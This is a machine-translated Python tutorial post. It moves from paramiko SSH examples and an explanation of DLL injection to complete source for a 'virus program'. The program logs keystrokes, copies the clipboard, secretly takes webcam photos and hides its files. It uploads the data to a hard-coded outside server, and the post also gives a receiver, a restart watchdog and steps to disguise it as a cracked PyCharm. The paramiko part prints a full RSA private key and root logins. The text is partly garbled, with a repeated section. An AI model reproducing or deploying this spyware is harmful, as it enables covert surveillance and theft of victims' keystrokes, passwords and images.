Concurrent programming - paramiko remote control module, virus attack principle, dll injection

paramiko module

  1. Introduction: paramiko is a module for remote control. Using this module, you can operate commands or files on the remote server. It is worth mentioning that the remote management inside fabric and ansible is realized by using paramiko. 2. Download and install
pip3 install paramiko #In Python 3

In python2

pycrypto,because paramiko Module internal dependency pycrypto,So download and install first pycrypto #In python2
pip3 install pycrypto
pip3 install paramiko
 Note: if installed pycrypto2.0.1 The following error occurred while
        command 'gcc' failed with exit status 1...
May be missing python-dev Installation package caused
 If gcc Not installed, please install in advance gcc
  1. Use SSHClient to connect to the remote server and execute basic commands. Connect based on user name and password:
import paramiko

# Create SSH object
ssh = paramiko.SSHClient()
# Allow connection not in know_hosts in hosts file
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Connect server
ssh.connect(hostname='120.92.84.249', port=22, username='root', password='xxx')

# Execute command
stdin, stdout, stderr = ssh.exec_command('df')
# Get command results
result = stdout.read()
print(result.decode('utf-8'))
# Close connection
ssh.close()

SSHClient encapsulates Transport

import paramiko

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', password='xxx')

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
res=stdout.read()
print(res.decode('utf-8'))

transport.close()

Public key based connection: client file name: ID_ The RSA server must have a file name: authorized_keys (when SSH keygen is used, an authorized_key must be made, which can be made with SSH copy ID)

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

# Create SSH object
ssh = paramiko.SSHClient()
# Allow connection not in know_hosts in hosts file
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Connect server
ssh.connect(hostname='120.92.84.249', port=22, username='root', pkey=private_key)

# Execute command
stdin, stdout, stderr = ssh.exec_command('df')
# Get command results
result = stdout.read()
print(result.decode('utf-8'))
# Close connection
ssh.close()

SSHClient encapsulates Transport

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
result=stdout.read()
print(result.decode('utf-8'))

transport.close()

Connect based on private key string

import paramiko
from io import StringIO

key_str = """-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAsJmFLrSeCumJvga0Gl5O5wVOVwMIy2MpqIyQPi5J87dg89a4
Da9fczJog7qoSbRwHFOQoCHNphSlp5KPhGsF6RJewkIw9H1UKV4dCOyl/4HOAkAD
rKrsEDmrJ9JlzF2GTTZSnTgVQWcvBS2RKB4eM2R9aJ11xV6X2Hk4YDLTExIWeabb
h2TUKw0iyjI8pRuYLKkF2X16u9TBwfOTroGYgiNFHQvhsQppbEbI49NF2XkCkFMi
8/7tLjf95InE/VUUq56JqfzyHwdpHou+waXbwtvGgXN3sz+KkuEv6R2qDz06upZV
FCZRRpDhzoR8Uh/UEzTGZb8z7FB6EJXUiXJikQIBIwKCAQBBmBuGYFf1bK+BGG7H
9ySe81ecqVsJtx4aCFLVRGScWg4RbQKIvXs5an6XU/VdNGQnx0RYvBkvDvuzRRC8
J8Bd4kB0CfTtGJuaVigKoQp02HEWx1HSa17+tlWD0c4KFBvwywi+DYQ83S64x8gz
eOalX9bPFenqORPUD8R7gJeKvPVc6ZTPeorpuH7u9xayP0Eop8qKxZza9Xh3foVj
Qo4IxoYnDN57CIRX5PFSlDDggpmr8FtRF4nAxmFq8LhSp05ivzX/Ku1SNHdaMWZO
7va8tISXdLI5m0EGzoVoBvohIbwlxI6kfmamrh6Eas2Jnsc4CLzMsR4jBWt0LHLv
/SLnAoGBANaEUf/Jptab9G/xD9W2tw/636i3gLpTPY9KPtCcAxqStNeT6RAWZ5HF
lKJg+NKpu3pI45ldAwvts0i+aCZk2xakEWIZWqCmXm31JSPDQTaMGe7H0vOmUaxx
ncdpBVdvhMbfFUgei15iKfuafgrKaS9oIkntXEgrC+3wBOI0Gbx3AoGBANLAGxAF
TK7ydr+Q1+6/ujs6e8WsXt8HZMa/1khCVSbrf1MgACvZPSSSrDpVwaDTSjlRI4AL
bb0l0RFU+/0caMiHilscuJdz9Fdd9Ux4pjROZa3TF5CFhvP7PsZAoxOo+yqJg4zr
996GG/aAv4M8lQJ2rDFk/Dgn5y/AaAun1oM3AoGAGIQmoOPYjY4qkHNSRE9lYOl4
pZFQilKn8x5tlC8WTC4GCgJGhX7nQ9wQ/J1eQ/YkDfmznH+ok6YjHkGlgLsRuXHW
GdcDCwuzBUCWh76LHC1EytUCKnloa3qy8jfjWnMlHgrd3FtDILrC+C7p1Vj2FAvm
qVz0moiTpioPL8twp9MCgYEAin49q3EyZFYwxwdpU7/SJuvq750oZq0WVriUINsi
A6IR14oOvbqkhb94fhsY12ZGt/N9uosq22H+anms6CicoQicv4fnBHDFI3hCHE9I
pgeh50GTJHUA6Xk34V2s/kp5KpThazv6qCw+QubkQExh660SEdSlvoCfPKMCi1EJ
TukCgYAZKY1NZ2bjJyyO/dfNvMQ+etUL/9esi+40GUGyJ7SZcazrN9z+DO0yL39g
7FT9NMIc2dsmNJQMaGBCDl0AjO1O3b/wqlrNvNBGkanxn2Htn5ajfo+LBU7yHAcV
7w4X5HLarXiE1mj0LXFKJhdvFqU53KUQJXBqR6lsMqzsdPwLMJg==
-----END RSA PRIVATE KEY-----"""

private_key = paramiko.RSAKey(file_obj=StringIO(key_str))
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.read()
print(result.decode('utf-8'))
transport.close()

print(result)

SFTPClient is used to connect to the remote server and perform upload and download based on user name and password

import paramiko
 
transport = paramiko.Transport(('120.92.84.249',22))
transport.connect(username='root',password='xxx')
 
sftp = paramiko.SFTPClient.from_transport(transport)
# Set location Py upload to the server / TMP / test py
sftp.put('/tmp/id_rsa', '/etc/test.rsa')
# Remove_ Download path to local_path
sftp.get('remove_path', 'local_path')
 
transport.close()

Upload and download based on public key

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key )

sftp = paramiko.SFTPClient.from_transport(transport)
# Set location Py upload to the server / TMP / test py
sftp.put('/tmp/id_rsa', '/tmp/a.txt')
# Remove_ Download path to local_path
sftp.get('remove_path', 'local_path')

transport.close()
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import paramiko
import uuid

class Haproxy(object):

    def __init__(self):
        self.host = '172.16.103.191'
        self.port = 22
        self.username = 'root'
        self.pwd = '123'
        self.__k = None

    def create_file(self):
        file_name = str(uuid.uuid4())
        with open(file_name,'w') as f:
            f.write('sb')
        return file_name

    def run(self):
        self.connect()
        self.upload()
        self.rename()
        self.close()

    def connect(self):
        transport = paramiko.Transport((self.host,self.port))
        transport.connect(username=self.username,password=self.pwd)
        self.__transport = transport

    def close(self):

        self.__transport.close()

    def upload(self):
        # Connect, upload
        file_name = self.create_file()

        sftp = paramiko.SFTPClient.from_transport(self.__transport)
        # Set location Py upload to the server / TMP / test py
        sftp.put(file_name, '/home/root/tttttttttttt.py')

    def rename(self):

        ssh = paramiko.SSHClient()
        ssh._transport = self.__transport
        # Execute command
        stdin, stdout, stderr = ssh.exec_command('mv /home/root/tttttttttttt.py /home/root/ooooooooo.py')
        # Get command results
        result = stdout.read()


ha = Haproxy()
ha.run()

task

Title: simple host batch management tool requirements:

  1. Host group 2 The host information configuration file is parsed with configparser 3 You can execute commands and send files in batches, and the results are returned in real time. The execution format is as follows: batch_run -h h1,h2,h3 -g web_clusters,db_servers -cmd “df -h”  batch_scp -h h1,h2,h3 -g web_clusters,db_servers -action put -local test.py -remote /tmp/ 4. Host user name, password and port can be different 5 Execute remote commands using paramiko module 6 multiprocessing concurrency is required for batch commands

Analysis of attack principle

1, What is dll

Dynamic Link Library (Dynamic Link Library or Dynamic Link Library, abbreviated as DLL) is a way for Microsoft to realize the concept of shared function library in Microsoft Windows operating system. The extension of these library functions is " dll",". ocx "(contains ActiveX controlled Library) or". drv "(old system driver). pip3 install

2, Why dll

Because the address space of the process is independent (protected mode), when multiple processes share the same library, each library is in the memory of the hard disk and the process
 Storing a copy is undoubtedly a great waste for early computers, so windows System launched dll Mechanism,
dll Save it as a file on the hard disk and use an instance in memory( instance). 

Details are as follows:
stay Windows In the operating system, each running process lives in its own program space (protection mode), and each process believes that it has the control of the whole machine,
Each process thinks it has the whole memory space of the computer. These illusions are created by the operating system (operating system control) CPU bring CPU Enable protected mode).
Theoretically, each process running on the operating system does not interfere with each other, that is, each process will have an independent address space. For example, process B Modified address 0 x4000000 Data,
So process C Your address is 0 x4000000 The data at did not follow B Changes due to the modification of, and the process C May not own address 0 x4000000 Memory(The operating system may not be for the process C Map this memory). 
Therefore, if a process has a defect that overwrites the memory at the random address(This may cause problems in program operation),Then this defect will not affect the memory used by other processes.

What is dll injection:

We can use dll Mechanism to practice process communication or control applications of other processes. 
So called dll Injection is what makes the process A Force loader B Given a.dll,And execute the procedure B Given a.dll Inside the code, so
 achieve A Process control B Purpose of the process

Attention, procedure B Given a.dll It was not originally programmed A When the program is actively loaded, however B Make the program by some means A""Load" a.dll After,
program A Will execute a.dll In the code, at this time, a.dll Entered the program A Address space, and a.dll The program logic of the module is determined by the program B Designed by developers,
So program B Developers can A do as one pleases.

When do I need dll injection

Applications are typically used in the following situations dll Injection technology to complete some functions:
1.Add a new "practical" function to the target process;
2.Some means are needed to assist debugging to be injected dll The process of;
3.Hook as target installer(API Hook);

dll injection method

In general, there are the following dll Injection method:    
    1.Modify the registry to inject dll;
    2.use CreateRemoteThread Function to inject into a running process dll;
    3.use SetWindowsHookEx Function hook to application(HOOK)Force program load dll;
    4.The replacement application must be used dll;
    5.hold dll Inject as a debugger;
    6.use CreateProcess Sub process injection dll
    7.Modify the of the injected process exe Import address table for.
	ps: 
	Anti virus software often uses hooks for processing

Use the SetWindowsHookEx function to hook the application and force the program to load the dll

ctypes is Python's external function library, from Python 2 5 start the introduction. It provides C-Compatible data types and allows calls to functions in dynamic link libraries / shared libraries. It can wrap these libraries for Python to use.

ctypes.windll.user32 The following three functions are mainly used:
SetWindowsHookEx() ,CallNextHookEx()and UnhookWindowsHookEx()

Message hook: Windows operating system provides users with GUI (graphical user interface), which works in an event driven manner. In the operating system, using the keyboard, mouse, selecting menus, buttons, moving the mouse, changing the size and position of the window are all events. When such an event occurs, the operating system will send the pre-defined message to the corresponding application, and the application will perform the corresponding action after analyzing the received information. That is, when you tap the keyboard, the message moves from the operating system to the application. The so-called message hook is to peek at this information during this period. Taking the keyboard input event as an example, the flow direction of the message is as follows: 1 WM when keyboard input occurs_ The Keydown message is added to the message queue of the operating system;   2. The operating system judges which application the message comes from, takes the message out of the message queue and adds it to the message queue of the corresponding application;   3. The application fetches WM from its message queue_ Keydown message and call the corresponding handler. When our hook program is enabled, the operating system will send the message to each hook function registered with the corresponding hook type before sending it to the user program. The hook function can do the desired processing (modification, interception, etc.) on this message. Multiple message hooks will be called in the order of installing hooks. These message hooks together form a "hook chain". When a message is passed between chains, any hook function intercepts the message, and the next hook functions (including applications) will no longer receive the message. Message hook function like this is the most basic function provided by windows. SPY + + provided in MS Visual Studio is realized by using this function. SPY + + is a very powerful message hook program, which can view all messages in and out of the operating system. The message hook is implemented using SetWindowsHookEx. The prototype of the function is as follows:

HHOOK WINAPI SetWindowsHookEx(
  _In_ int       idHook,
  _In_ HOOKPROC  lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD     dwThreadId
);

idHook parameter is the type of message hook. You can select the type and view the corresponding macro definition in MSDN. For example, we want to hook all keyboard messages, and its value will be WH_KEYBOARD,WH_ The value of keyboard macro is 2. The lpfn parameter is the starting address of the hook function. Note: the hook function prototypes of different message hook types are different, because different types of messages require different parameters. The specific hook function prototypes need to be obtained by viewing MSDN. Note: the hook function can call CallNextHookEx function anywhere before the end to execute other hook functions of the hook chain. Of course, if this function is not called, the subsequent hook functions on the hook chain will not be executed. The hMod parameter is the module handle of the module where the hook function is located. The dwThreadId parameter is used to indicate which process / thread to install the message hook on. If this parameter is 0, the installed message hook is called "global hook". At this time, this message hook will be installed for all processes (current process and all processes to be run in the future). Note: some types of hooks can only be global hooks. Note: the hook function should be placed in a dll and LoadLibrary should be loaded in your process. Then call the SetWindowsHookEx function to install hooks for corresponding types of messages. When the SetWindowsHookEx function is called successfully, when a process generates this type of message, the operating system will judge whether the process is installed with a hook. If a hook is installed, the operating system will forcibly inject the relevant dll file into the process and increase the lock counter of the dll by 1. Then call the installed hook function. The whole injection process is very convenient, and users hardly need to do anything. When the user doesn't need to hook messages any more, just call UnhookWindowsHookEx to uninstall the installed message hook. The prototype of the function is as follows:

BOOL WINAPI UnhookWindowsHookEx(
  _In_ HHOOK hhk
);

The hhk parameter is the HOOK variable / handle returned before calling the SetWindowsHookEx function. After this function is called successfully, the lock counter of the injected dll will decrease by 1. When the lock counter decreases to 0, the system will unload the injected dll.
This type of DLL injection has the advantage of simple injection, but the disadvantage is that it can only Hook windows messages and inject DLL, and the injected dll may not be injected immediately, because it requires the occurrence of corresponding types of events. Secondly, it cannot Hook other APIs. If you want to Hook other functions, you need to add code for API Hook to the injected DLL. DLL injection code includes two parts, one is the source file of DLL, the other is the source code of console program. HMODULE Hmod = LoadLibraryA(“hookdll.dll”);

preparation

#1. Latest anocoda3 seven
https://www.anaconda.com/distribution/#download-section

#2. Faster downloads can change the source
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

#3. Install pywin32. Specify the installation directory during installation. The default is C: \ Python 37 \ lib \ site packages\
https://github.com/mhammond/pywin32/releases

#4. Install opencv Python
pip install opencv-python

#5. Installing pyinstaller depends on pyin32
pip install pyinstaller

#6. ico file ready
 Online production
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html

#7. Learn about the functions to be used:
from time import sleep,strftime
from os import listdir,remove
from os.path import exists, getsize,abspath,expanduser,basename
from sys import exit
from struct import pack
from json import dumps
from socket import socket, AF_INET, SOCK_STREAM
from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN
from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes
from win32gui import FindWindow, ShowWindow
from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindows

from ctypes import windll  # windll.user32,windll.kernel32
from ctypes import CFUNCTYPE
from ctypes import byref
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes.wintypes import MSG

from threading import Timer
from threading import Thread
from threading import Lock

step

1. Write virus program first = > wincoremanager py

Monitor keyboard input->And record the log
 Lock keyboard function
 Candid shooting function->Save picture file
 Upload data function: socket client degree

WinCoreManagerment.py

import sys
import os
import time
import socket
import struct
import json
import win32clipboard  # Clipboard operation requires pywin32 to be installed
import win32con
import win32api
import cv2

from ctypes import windll
from ctypes import CFUNCTYPE
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes import byref
from ctypes.wintypes import MSG

from threading import Timer
from threading import Thread
from threading import Lock


# tool
class Utils:
    def __init__(self):
        # User home directory
        self.base_dir = os.path.expanduser('~')  # Permission issues

        # Initialize generation log file
        self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
        open(self.log_path, 'a', encoding='utf-8').close()
        win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)

        # Define two locks to control reading and writing
        self.mutex_log = Lock()  # Log lock
        self.mutex_photo = Lock()  # Photo lock
        self.mutex_sock = Lock()  # Socket upload lock
        # ip and port of server
        self.server_ip = '115.29.65.16'
        self.server_port = 9999

        # Local debug log
        self.debug = True
        self.debug_log_path = r'%s/debug_log' % self.base_dir
        self.mutex_debug = Lock()

    def log_debug(self, res):
        if not self.debug:
            return
        self.mutex_debug.acquire()
        with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
            f.write('\n%s\n' % res)
            f.flush()
        self.mutex_debug.release()

    def log(self, res):
        self.mutex_log.acquire()
        with open(self.log_path, mode='a', encoding='utf-8') as f:
            f.write(res)
            f.flush()
        self.mutex_log.release()

    def take_photoes(self):
        while True:
            time.sleep(10)
            photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
            cap = None

            try:
                # The first parameter in VideoCapture() is the camera label. By default, the index of the computer's own camera is 0, and the external is 1.2.3,
                # If the parameter is the video file path, open the video, such as cap = CV2 VideoCapture(“../test.avi”)
                # CAP_DSHOW is unique to Microsoft, CV2 The camera is still on after release(), so this parameter needs to be specified
                cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
                ret, frame = cap.read()
                self.mutex_photo.acquire()
                cv2.imwrite(photo_path, frame)
            except Exception as e:
                self.log_debug('Photographic abnormality: %s' % e)
            finally:
                # Release the lock and turn off the camera anyway
                self.mutex_photo.release()
                if cap is not None:
                    cap.release()  # None.release()
                cv2.destroyAllWindows()

            if os.path.exists(photo_path):
                win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

    def send_data(self, headers, data):
        try:
            self.mutex_sock.acquire()  # Don't do anything else in the process of uploading data
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client.connect((self.server_ip, self.server_port))

            head_json = json.dumps(headers)
            head_json_bytes = bytes(head_json, encoding='utf-8')
            client.send(struct.pack('i', len(head_json_bytes)))
            client.send(head_json_bytes)
            client.sendall(data)
            client.close()

            res = (True, 'ok')
        except ConnectionRefusedError as e:
            msg = 'Socket server not started: %s' % e
            res = (False, msg)
        except Exception as e:
            msg = 'Socket other errors:%s' % e
            res = (False, msg)
        finally:
            self.mutex_sock.release()
        return res

    def upload_log(self):
        while True:
            time.sleep(1)

            if not os.path.getsize(self.log_path):
                continue

            self.mutex_log.acquire()
            with open(self.log_path, mode='rb+') as f:
                data = f.read()
                self.mutex_log.release()

                headers = {
                    'data_size': len(data),
                    'filename': os.path.basename(self.log_path)
                }

                self.log_debug('Sending log to server......[%s]' % data)

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('journal[%s]Sent successfully...' % data)
                else:
                    self.log_debug('journal[%s]Send failed:%s' % (data, msg))
                    continue

                f.truncate(0)

    def upload_photoes(self):
        while True:
            time.sleep(3)

            files = os.listdir(self.base_dir)
            files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
            for file_name in files_jpeg:
                file_path = r'%s/%s' % (self.base_dir, file_name)
                if not os.path.exists(file_path):
                    continue

                self.log_debug('Start uploading pictures: %s' % file_name)
                headers = {
                    'data_size': os.path.getsize(file_path),
                    'filename': file_name
                }

                self.mutex_photo.acquire()
                with open(file_path, mode='rb+') as f:
                    data = f.read()
                self.mutex_photo.release()

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('picture%s Send complete......' % file_name)
                else:
                    self.log_debug('picture%s Send failed:%s' % (file_name, msg))
                    continue

                os.remove(file_path)


utils = Utils()


# Definition class: defines a class with hook and uncoupling functions
class Toad:
    def __init__(self):
        self.user32 = windll.user32
        self.hooked = None

    def __install_hook_proc(self, pointer):
        self.hooked = self.user32.SetWindowsHookExA(
            win32con.WH_KEYBOARD_LL,  # WH_KEYBOARD_LL = 13  # The global keyboard hook can intercept all keyboard key messages.
            pointer,
            0,  # The dll handle of the hook function, which can be set to 0 here
            0  # All threads
        )  # self. The handle returned by hooked for the registration hook
        return True if self.hooked else False

    def install_hook_proc(self, func):
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        pointer = CMPFUNC(func)  # Get the function hookProc pointer,

        if self.__install_hook_proc(pointer):
            utils.log_debug("%s start " % func.__name__)

        msg = MSG()
        # Listen / get the message of the window. After the message enters the queue, take it out and give it to the first hook in the hook chain
        self.user32.GetMessageA(byref(msg), None, 0, 0)

    def uninstall_hook_proc(self):
        if self.hooked is None:
            return
        self.user32.UnhookWindowsHookEx(self.hooked)  # Delete the registered hook through the hook handle
        self.hooked = None


toad_obj = Toad()


# 2. Define the hook procedure (i.e. the logic we want to inject):
def monitor_keyborad_proc(nCode, wParam, lParam):
    # win32con.WM_KEYDOWN = 0X0100  # Press the keyboard and the corresponding number is 256
    # win32con.WM_KEYUP = 0x101  # When the keyboard is up, it corresponds to the number 257. The monitoring keyboard only needs to operate KEYDOWN
    if wParam == win32con.WM_KEYDOWN:
        hookedKey_ascii = 0xFFFFFFFF & lParam[0]
        hookedKey = chr(hookedKey_ascii)

        utils.log_debug('Monitor hookeKey: [%s]  hookedKey_ascii: [%s]' % (hookedKey, hookedKey_ascii))

        keyboard_dic = {
            220: r'<`>',
            189: r'<->',
            187: r'<=>',
            8: r'<Delete key>',

            9: r'<tab>',
            219: r'<[>',
            221: r'<]>',
            222: r'<\>',

            20: r'<Case locking>',
            186: r'<;>',
            192: r"<'>",
            13: r'<enter>',

            160: r'<lshift>',
            188: r'<,>',
            190: r'<.>',
            191: r'</>',
            161: r'<rshift>',

            162: r'<ctrl>',
            32: r'<space>',
            37: r'<left arrow>',
            38: r'<up arrow>',
            39: r'<Right arrow>',
            40: r'<Down arrow>',
        }

        if (hookedKey == 'Q'):  # It can be opened during the test and annotated during the formal run
            toad_obj.uninstall_hook_proc()
            sys.exit(-1)
            # pass

        if hookedKey_ascii in keyboard_dic:  # The unconventional key was pressed
            res = keyboard_dic[hookedKey_ascii]
            utils.log_debug('Listen to input: %s' % res)
            utils.log(res)

        if hookedKey_ascii > 32 and hookedKey_ascii < 127:  # Check whether the keystroke is a conventional key (non combination key, etc.)
            if hookedKey == 'V' or hookedKey == 'C':
                win32clipboard.OpenClipboard()
                paste_value = win32clipboard.GetClipboardData()  # Gets the value of the pasteboard
                win32clipboard.CloseClipboard()

                if paste_value:  # If the clipboard has a value, it means that the input of V and C above is a combination key, and the valid data entered by the user is placed in the clipboard
                    utils.log(paste_value)
                    utils.log_debug('Paste value: %s' % paste_value)
            else:
                utils.log_debug('Listen to input: %s' % repr(hookedKey))
                utils.log(hookedKey)

    # CallNextHookEx puts the hook information back into the hook chain
    return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam)


# Hook chain: hook 1, hook 2
def lock_keyboard_proc(nCode, wParam, lParam):
    utils.log_debug('The keyboard lock program is executing........')
    return 123123123123123


if __name__ == '__main__':
    # Monitor keyboard input - > and record the log
    t1 = Thread(target=toad_obj.install_hook_proc, args=(monitor_keyborad_proc,))
    # Lock keyboard function
    t2 = Timer(120, toad_obj.install_hook_proc, args=[lock_keyboard_proc, ])

    # Candid function - > save picture file
    t3 = Thread(target=utils.take_photoes)

    # Upload data function: log file, picture file
    t4 = Thread(target=utils.upload_log)
    t5 = Thread(target=utils.upload_photoes)

    t2.daemon = True
    t3.daemon = True
    t4.daemon = True
    t5.daemon = True

    t1.start()
    t2.start()
    t3.start()
    t4.start()
    t5.start()

    t1.join()

2. Write server (socket server)

secureCRT Graphical interface->windows
 Built in system scp command->linux
python Module of->paramiko modular
 Handwriting only client socket

Toad_server.py

import socketserver
import struct
import json
import os
import time


class ToadServer(socketserver.BaseRequestHandler):
    coding = 'utf-8'
    max_packet_size = 1024

    def handle(self):
        ip, port = self.client_address
        with open(r'access.log', mode='a', encoding='utf-8') as f:
            f.write('[%s] Toad virus infected person-> %s:%s Uploading data\n' % (time.strftime('%Y-%m-%d-%H:%M:%S'), ip, port))

        try:
            head = self.request.recv(4)
            head_json_len = struct.unpack('i', head)[0]
            head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
            data_len = head_json['data_size']
            filename = head_json['filename']

            recv_size = 0
            recv_data = b''
            with open(r'client_msg/client_%s_%s' % (ip, filename), 'ab') as f:
                while recv_size < data_len:
                    recv_data = self.request.recv(1024)
                    f.write(recv_data)
                    recv_size += len(recv_data)

        except Exception as e:
            # Client disconnect
            self.request.close()


myserver = socketserver.ThreadingTCPServer(('0.0.0.0', 9999), ToadServer)
myserver.serve_forever()

3. Server deployment, security group modification, port development

5. Virus program making binary

frozen.py

'''
Pyinstaller Multi process code packaging exe Multiple process solutions appear
'''

import os
import sys
import multiprocessing

# Module multiprocessing is organized differently in Python 3.4+
try:
    # Python 3.4+
    if sys.platform.startswith('win'):
        import multiprocessing.popen_spawn_win32 as forking
    else:
        import multiprocessing.popen_fork as forking
except ImportError:
    import multiprocessing.forking as forking

if sys.platform.startswith('win'):
    # First define a modified version of Popen.
    class _Popen(forking.Popen):
        def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

                        # Second override 'Popen' class with our modified version.


    forking.Popen = _Popen

6. The virus program is camouflaged and packaged into exe

6.1 Preparation of camouflage documents:"pycharm Cracked version.py"

6.2 Write unlimited restart file:"System.py"

6.3 Package binary exe
    pyinstaller -i system.ico -Fw WinCoreManagement.py
    pyinstaller -i system.ico -Fw System.py
    pyinstaller -i pycharm.ico -Fw pycharm Cracked version.py
    appoint-w Do not set the background operation after the parameter

6.4 Put three exe File placement is normal pycharm Under the software package bin Under the directory

pycharm cracked version py

import os
import subprocess
import time
import frozen  # Pyinstaller multi process code packaging exe multiple process solutions
import multiprocessing


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller multi process code packaging exe multiple process solutions
    os.chdir(r'.')
    subprocess.Popen(r'pycharm.exe') # Real pychamr program
    subprocess.Popen(r'System.exe') # System.exe is responsible for infinitely restarting the virus program wincoremanager.exe exe

    time.sleep(20)

System.py

import frozen  # Pyinstaller multi process code packaging exe multiple process solutions
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # The absolute path of the program that needs to be executed


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait()  # Similar to p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD)  # Clean up the residue
    except Exception as e:
        # print(e)
        pass

    # print('child process shutdown, restart ')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller multi process code packaging exe multiple process solutions

    run(CMD)

7. Anti virus method

taskkill /F /IM System.exe

taskkill /F /IM WinCoreManagement.exe

taskkill /F /IM pycharm.exe
import frozen  # Pyinstaller multi process code packaging exe multiple process solutions
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # The absolute path of the program that needs to be executed


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait()  # Similar to p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD)  # Clean up the residue
    except Exception as e:
        # print(e)
        pass

    # print('child process shutdown, restart ')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller multi process code packaging exe multiple process solutions

    run(CMD)

7. Anti virus method

taskkill /F /IM System.exe

taskkill /F /IM WinCoreManagement.exe

taskkill /F /IM pycharm.exe

Keywords: Python Network Protocol TCP/IP

Added by mshallop on Mon, 07 Mar 2022 06:14:16 +0200